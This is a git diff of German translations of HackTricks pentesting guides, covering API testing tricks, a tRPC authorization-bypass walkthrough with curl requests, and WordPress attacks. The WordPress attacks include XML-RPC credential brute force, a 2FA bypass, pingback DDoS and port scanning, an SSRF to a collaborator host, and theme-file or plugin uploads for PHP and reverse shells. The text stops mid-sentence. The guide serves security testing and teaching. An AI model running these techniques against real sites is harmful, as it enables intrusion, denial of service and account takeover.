für APIs, die eine vollständige und verständliche Beschreibung der Daten in Ihrer API bietet. ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Eine absichtlich verwundbare API für praktische Übungen, die die OWASP Top 10 API-Schwachstellen abdeckt. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Eine absichtlich verwundbare API für praktische Übungen, die die OWASP Top-10 API-Schwachstellen abdeckt. -### **Effective Tricks for API Pentesting** +### **Effektive Tricks für API Pentesting** -- **SOAP/XML Vulnerabilities**: Untersuchen Sie XXE-Schwachstellen, obwohl DTD-Deklarationen oft eingeschränkt sind. CDATA-Tags können die Payload-Einfügung ermöglichen, wenn das XML gültig bleibt. -- **Privilege Escalation**: Testen Sie Endpunkte mit unterschiedlichen Berechtigungsstufen, um unbefugte Zugriffs Möglichkeiten zu identifizieren. -- **CORS Misconfigurations**: Untersuchen Sie CORS-Einstellungen auf potenzielle Ausnutzbarkeit durch CSRF-Angriffe aus authentifizierten Sitzungen. -- **Endpoint Discovery**: Nutzen Sie API-Muster, um versteckte Endpunkte zu entdecken. Werkzeuge wie Fuzzer können diesen Prozess automatisieren. -- **Parameter Tampering**: Experimentieren Sie mit dem Hinzufügen oder Ersetzen von Parametern in Anfragen, um auf unbefugte Daten oder Funktionen zuzugreifen. -- **HTTP Method Testing**: Variieren Sie die Anfragemethoden (GET, POST, PUT, DELETE, PATCH), um unerwartete Verhaltensweisen oder Informationsoffenlegungen aufzudecken. -- **Content-Type Manipulation**: Wechseln Sie zwischen verschiedenen Inhaltstypen (x-www-form-urlencoded, application/xml, application/json), um auf Parsing-Probleme oder Schwachstellen zu testen. -- **Advanced Parameter Techniques**: Testen Sie mit unerwarteten Datentypen in JSON-Payloads oder experimentieren Sie mit XML-Daten für XXE-Injektionen. Versuchen Sie auch Parameter-Verschmutzung und Wildcard-Zeichen für umfassendere Tests. -- **Version Testing**: Ältere API-Versionen könnten anfälliger für Angriffe sein. Überprüfen Sie immer mehrere API-Versionen und testen Sie gegen diese. +- **SOAP/XML Vulnerabilities**: Untersuche XXE-Schwachstellen, obwohl DTD-Deklarationen oft eingeschränkt sind. CDATA-Tags können das Einfügen von Payloads erlauben, sofern das XML gültig bleibt. +- **Privilege Escalation**: Teste Endpunkte mit unterschiedlichen Privilegien, um Möglichkeiten unautorisierter Zugriffe zu identifizieren. +- **CORS Misconfigurations**: Untersuche CORS-Einstellungen auf mögliche Ausnutzbarkeit durch CSRF-Angriffe aus authentifizierten Sessions. +- **Endpoint Discovery**: Nutze API-Muster, um versteckte Endpunkte zu entdecken. Tools wie Fuzzer können diesen Prozess automatisieren. +- **Parameter Tampering**: Experimentiere damit, Parameter in Anfragen hinzuzufügen oder zu ersetzen, um auf unautorisierte Daten oder Funktionen zuzugreifen. +- **HTTP Method Testing**: Variiere Request-Methoden (GET, POST, PUT, DELETE, PATCH), um unerwartetes Verhalten oder Informationslecks zu entdecken. +- **Content-Type Manipulation**: Wechsle zwischen verschiedenen Content-Types (x-www-form-urlencoded, application/xml, application/json), um Parsing-Probleme oder Schwachstellen zu testen. +- **Advanced Parameter Techniques**: Teste mit unerwarteten Datentypen in JSON-Payloads oder spiele mit XML-Daten für XXE-Injektionen. Probiere außerdem Parameter-Pollution und Wildcard-Character für breitere Tests. +- **Version Testing**: Ältere API-Versionen sind möglicherweise anfälliger für Angriffe. Prüfe stets und teste gegen mehrere API-Versionen. -### **Tools and Resources for API Pentesting** +### Autorisierung & Business-Logik (AuthN != AuthZ) — tRPC/Zod protectedProcedure-Fallstricke -- [**kiterunner**](https://github.com/assetnote/kiterunner): Hervorragend geeignet zur Entdeckung von API-Endpunkten. Verwenden Sie es, um Pfade und Parameter gegen Ziel-APIs zu scannen und zu brute-forcen. +Moderne TypeScript-Stacks nutzen häufig tRPC mit Zod für die Input-Validierung. In tRPC stellt `protectedProcedure` typischerweise sicher, dass die Anfrage über eine gültige Session (Authentication) verfügt, impliziert jedoch nicht, dass der Aufrufer die richtigen Rollen/Berechtigungen (Authorization) besitzt. Diese Diskrepanz führt zu Broken Function Level Authorization (BOLA), wenn sensitive Prozeduren nur durch `protectedProcedure` abgesichert sind. + +- Bedrohungsmodell: Jeder niedrig privilegierte authentifizierte Benutzer kann Admin-Grade-Prozeduren aufrufen, wenn Rollenprüfungen fehlen (z. B. background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.`-Endpunkte, die für normale Accounts erfolgreich sind, obwohl sie nur für Admins sein sollten. Self-serve Anmeldungen erhöhen die Ausnutzbarkeit drastisch. +- Typische tRPC-Route (v10+): JSON-Body verpackt unter `{"input": {...}}`. + +Beispiel für ein verwundbares Muster (keine Rollen-/Berechtigungsprüfung): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Praktische Exploitation (black-box) + +1) Registriere ein normales Konto und erhalte eine authentifizierte Sitzung (cookies/headers). +2) Enumeriere Hintergrund-Jobs oder andere sensible Ressourcen via “list”/“all”/“status” Verfahren. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Privilegierte Aktionen aufrufen, z. B. einen Job neu starten: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Zu bewertende Auswirkungen + +- Datenkorruption durch nicht-idempotente Neustarts: Das Erzwingen gleichzeitiger Ausführungen von migrations/workers kann Race Conditions und inkonsistente partielle Zustände erzeugen (stiller Datenverlust, fehlerhafte Analytics). +- DoS via worker/DB starvation: Das wiederholte Auslösen ressourcenintensiver Jobs kann worker-Pools und Datenbankverbindungen erschöpfen und mandantenweite Ausfälle verursachen. + +### **Tools und Ressourcen für API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Ausgezeichnet zum Auffinden von API-Endpunkten. Verwende es, um Pfade und Parameter gegen Ziel-APIs zu scannen und brute force auszuführen. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj ist ein Befehlszeilenwerkzeug, das entwickelt wurde, um bei der Überprüfung von **exponierten Swagger/OpenAPI-Definitionsdateien** zu helfen, indem die zugehörigen API-Endpunkte auf schwache Authentifizierung überprüft werden. Es bietet auch Befehlsvorlagen für manuelle Schwachstellentests. -- Zusätzliche Werkzeuge wie **automatic-api-attack-tool**, **Astra** und **restler-fuzzer** bieten maßgeschneiderte Funktionen für API-Sicherheitstests, die von Angriffssimulation bis hin zu Fuzzing und Schwachstellenscanning reichen. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es ist ein API-Sicherheitswerkzeug, das Ihre API basierend auf einer OAS-Datei prüft (das Werkzeug ist in Rust geschrieben). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj ist ein Kommandozeilen-Tool, das beim Audit von **exposed Swagger/OpenAPI definition files** hilft, indem es die zugehörigen API-Endpunkte auf schwache Authentifizierung prüft. Es liefert außerdem Kommandovorlagen für manuelle Vulnerability-Tests. +- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es ist ein API-Security-Tool, das die API basierend auf einer OAS-Datei prüft (das Tool ist in rust geschrieben). ### **Lern- und Übungsressourcen** -- **OWASP API Security Top 10**: Wichtige Lektüre zum Verständnis häufiger API-Schwachstellen ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API-Sicherheits-Checkliste**: Eine umfassende Checkliste zur Sicherung von APIs ([GitHub-Link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filter**: Zur Suche nach API-Schwachstellen bietet Logger++ nützliche Filter ([GitHub-Link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API-Endpunktliste**: Eine kuratierte Liste potenzieller API-Endpunkte zu Testzwecken ([GitHub-Gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Unverzichtbare Lektüre zum Verständnis häufiger API-Schwachstellen ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: Eine umfassende Checkliste zur Absicherung von APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Zum Aufspüren von API-Schwachstellen bietet Logger++ nützliche Filter ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Eine kuratierte Liste potenzieller API-Endpunkte für Testzwecke ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Referenzen - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 4c36e7028..55155b255 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Grundlegende Informationen -- **Hochgeladene** Dateien landen in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Theme-Dateien können in /wp-content/themes/ gefunden werden,** daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit dem **theme twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Hochgeladene** Dateien landen unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Theme-Dateien befinden sich in /wp-content/themes/,** daher, wenn du etwas PHP des Themes änderst, um RCE zu bekommen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Beim Verwenden des **theme twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In **wp-config.php** findest du das Root-Passwort der Datenbank. -- Standard Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- In **wp-config.php** kannst du das Root-Passwort der Datenbank finden. +- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Wichtige WordPress-Dateien** +### **Haupt-WordPress-Dateien** - `index.php` - `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version. -- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet. +- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess bei der Einrichtung einer neuen WordPress-Seite verwendet. - Login-Ordner (können umbenannt sein, um sie zu verstecken): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP als Transportmechanismus und XML als Kodierungsmechanismus zu übertragen. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt. -- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden. -- `wp-content/uploads/` ist das Verzeichnis, in dem alle zur Plattform hochgeladenen Dateien gespeichert werden. -- `wp-includes/` Dieses Verzeichnis enthält Core-Dateien wie Zertifikate, Fonts, JavaScript-Dateien und Widgets. -- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien. +- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die das Übertragen von Daten mit HTTP als Transportmechanismus und XML als Kodierungsmechanismus ermöglicht. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt. +- Der Ordner `wp-content` ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden. +- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden. +- `wp-includes/` Dies ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets. +- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien. -**Post-Exploitation** +**Post exploitation** -- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. Datenbankname, Datenbank-Host, Benutzername und Passwort, Authentication Keys and Salts sowie das Tabellen-Prefix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann. +- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbankhost, Benutzername und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann. ### Benutzerberechtigungen - **Administrator** -- **Editor**: Veröffentlicht und verwaltet seine eigenen und die Beiträge anderer +- **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge - **Author**: Veröffentlicht und verwaltet seine eigenen Beiträge - **Contributor**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen -- **Subscriber**: Kann Beiträge lesen und sein Profil bearbeiten +- **Subscriber**: Durchsucht Beiträge und bearbeitet sein Profil ## **Passive Aufklärung** -### **WordPress-Version ermitteln** +### **WordPress-Version herausfinden** -Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` findest +Überprüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst -Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Innerhalb des **source code** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Plugins abrufen +### Plugins herunterladen ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -81,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins and Themes -Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins and Themes zu finden. Um alle zu entdecken, musst du **actively Brute Force a list of Plugins and Themes** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten). +Du wirst wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, musst du **aktiv per Brute Force eine Liste von Plugins und Themes** erstellen (hoffentlich gibt es für uns automatisierte Tools, die diese Listen enthalten). -### Users +### Benutzer -- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite by Brute Forcing users IDs: +- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gültig** ist. Wenn die Antwort **400** ist, dann ist die id **ungültig**. -- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen: +- **wp-json:** Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Ein weiterer `/wp-json/`-Endpoint, der einige Informationen über Benutzer offenlegen kann, ist: +Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**. +Beachte, dass dieser Endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**. -Beachte auch, dass **/wp-json/wp/v2/pages** IP-Adressen leak kann. +Beachte außerdem, dass **/wp-json/wp/v2/pages** IP-Adressen leak. -- **Login username enumeration**: Beim Login auf **`/wp-login.php`** ist die **Nachricht** unterschiedlich — sie zeigt an, ob der angegebene **Benutzername** existiert oder nicht. +- **Login username enumeration**: Beim Einloggen in **`/wp-login.php`** ist die **Meldung** **anders**, je nachdem, ob der **Benutzername existiert oder nicht**. ### XML-RPC -Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +Wenn `xml-rpc.php` aktiv ist, kannst du eine credentials brute-force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden: +Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden: -**Prüfen** +**Überprüfen** ```html system.listMethods @@ -122,7 +122,7 @@ Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und d **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Credentials per brute-force zu ermitteln. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden: +**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Credentials zu brute-force. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und d ``` -Die Meldung _"Incorrect username or password"_ innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Zugangsdaten nicht gültig sind. +Die Meldung _"Incorrect username or password"_ innerhalb einer HTTP-200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort er ``` -Außerdem gibt es eine **schnellere Möglichkeit**, credentials per **brute-force** mit **`system.multicall`** anzuwenden, da du mehrere credentials in derselben Anfrage testen kannst: +Außerdem gibt es einen **schnelleren Weg**, um brute-force credentials mit **`system.multicall`** durchzuführen, da du mehrere credentials in derselben Anfrage ausprobieren kannst:
-**2FA umgehen** +**Bypass 2FA** -Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, **kannst du möglicherweise xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und die 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die console möglich sind, aber du kannst trotzdem möglicherweise zu RCE gelangen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt. +Diese Methode ist für Programme gedacht und nicht für Menschen und ist alt; daher unterstützt sie 2FA nicht. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, **kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt. **DDoS oder port scanning** -Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\ -Das kann verwendet werden, um **tausende** von Wordpress **sites** dazu zu bringen, auf eine **location** zuzugreifen (wodurch an diesem Ort ein **DDoS** verursacht wird), oder du kannst es nutzen, um Wordpress ein internes **network** **scan**nen zu lassen (du kannst jeden Port angeben). +Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen host/port zu senden.\ +Dies kann verwendet werden, um **Tausende** von Wordpress **Websites** anzuweisen, auf einen **Ort** zu **zugreifen** (wodurch an diesem Ort ein **DDoS** verursacht wird) oder du kannst es nutzen, um **Wordpress** ein internes **Netzwerk** scannen zu lassen (du kannst jeden Port angeben). ```html pingback.ping @@ -191,9 +191,9 @@ Das kann verwendet werden, um **tausende** von Wordpress **sites** dazu zu bring ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist. +Wenn du **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist. -Siehe die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen. +Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen. **DDoS** ```html @@ -209,15 +209,15 @@ Siehe die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu l ### wp-cron.php DoS -Diese Datei existiert normalerweise im Root der Wordpress-Site: **`/wp-cron.php`**\ -Wenn diese Datei **aufgerufen** wird, wird eine "**heavy**" MySQL **query** ausgeführt, weshalb sie von **attackers** verwendet werden könnte, um einen **DoS** zu **verursachen**.\ -Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann. +Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Seite: **`/wp-cron.php`**\ +Wenn diese Datei **aufgerufen** wird, wird eine ressourcenintensive MySQL **Abfrage** ausgeführt, sodass sie von **Angreifern** dazu verwendet werden kann, einen **DoS** zu verursachen.\ +Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client irgendeine Wordpress-Seite anfordert) ausgeführt, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann. -Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen). +Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen). ### /wp-json/oembed/1.0/proxy - SSRF -Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen — die Worpress-Site könnte dann eine Anfrage an dich senden. +Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen, und die Worpress-Seite könnte eine Anfrage an dich senden. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und falls ja, versucht es, diese auszunutzen. +Dieses Tool prüft, ob der **methodName: pingback.ping** vorhanden ist und ob der Pfad **/wp-json/oembed/1.0/proxy** existiert; falls ja, versucht es, diese auszunutzen. ## Automatische Tools ```bash @@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Zugriff durch Überschreiben eines Bits -Mehr als ein echter Angriff ist das eine Kuriosität. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei flippen. So konnte man an Position `5389` der Datei `/var/www/html/wp-includes/user.php` das Bit so ändern, dass die NOT (`!`) Operation zu einem NOP wurde. +Mehr als ein echter Angriff ist das eher eine Kuriosität. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei umschalten. Dadurch konnte man an Position `5389` der Datei `/var/www/html/wp-includes/user.php` die NOT-Operation (`!`) in ein NOP verwandeln. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Ändern einer php-Datei des verwendeten Themes (Admin-Zugangsdaten erforderlich)** +**Eine php-Datei des verwendeten Themes ändern (Admin-Zugangsdaten benötigt)** -Appearance → Theme Editor → 404 Template (at the right) +Appearance → Theme Editor → 404 Template (rechts) -Ändere den Inhalt zu einer php shell: +Den Inhalt durch eine php-Shell ersetzen: ![](<../../images/image (384).png>) -Suche im Internet, wie du auf diese aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Suche im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -270,7 +270,7 @@ um eine Session zu bekommen. ### PHP plugin Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\ -Erstelle deine php backdoor zum Beispiel mit: +Erstelle deine php-Backdoor zum Beispiel mit: ![](<../../images/image (183).png>) @@ -286,44 +286,44 @@ Klicke auf Procced: ![](<../../images/image (70).png>) -Wahrscheinlich scheint das zunächst nichts zu tun, aber wenn du zu Media gehst, siehst du deine hochgeladene Shell: +Wahrscheinlich wird scheinbar nichts passieren, aber wenn du zu Media gehst, siehst du deine hochgeladene shell: ![](<../../images/image (462).png>) -Rufe sie auf und du siehst die URL, um die reverse shell auszuführen: +Öffne sie und du wirst die URL sehen, um die reverse shell auszuführen: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Diese Methode beinhaltet die Installation eines bekannten, verwundbaren bösartigen Plugins, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt: +Diese Methode beinhaltet die Installation eines bekannten verwundbaren und ausnutzbaren bösartigen Plugins, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress dashboard wie folgt durchgeführt: -1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB beschafft, z. B. [**hier**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Gehe zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`. -- Lade die ZIP-Datei des heruntergeladenen Plugins hoch. +- Navigiere zum WordPress dashboard, dann zu `Dashboard > Plugins > Upload Plugin`. +- Lade die Zip-Datei des heruntergeladenen Plugins hoch. 3. **Plugin Activation**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden. 4. **Exploitation**: - Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist. -- Das Metasploit Framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des entsprechenden Moduls 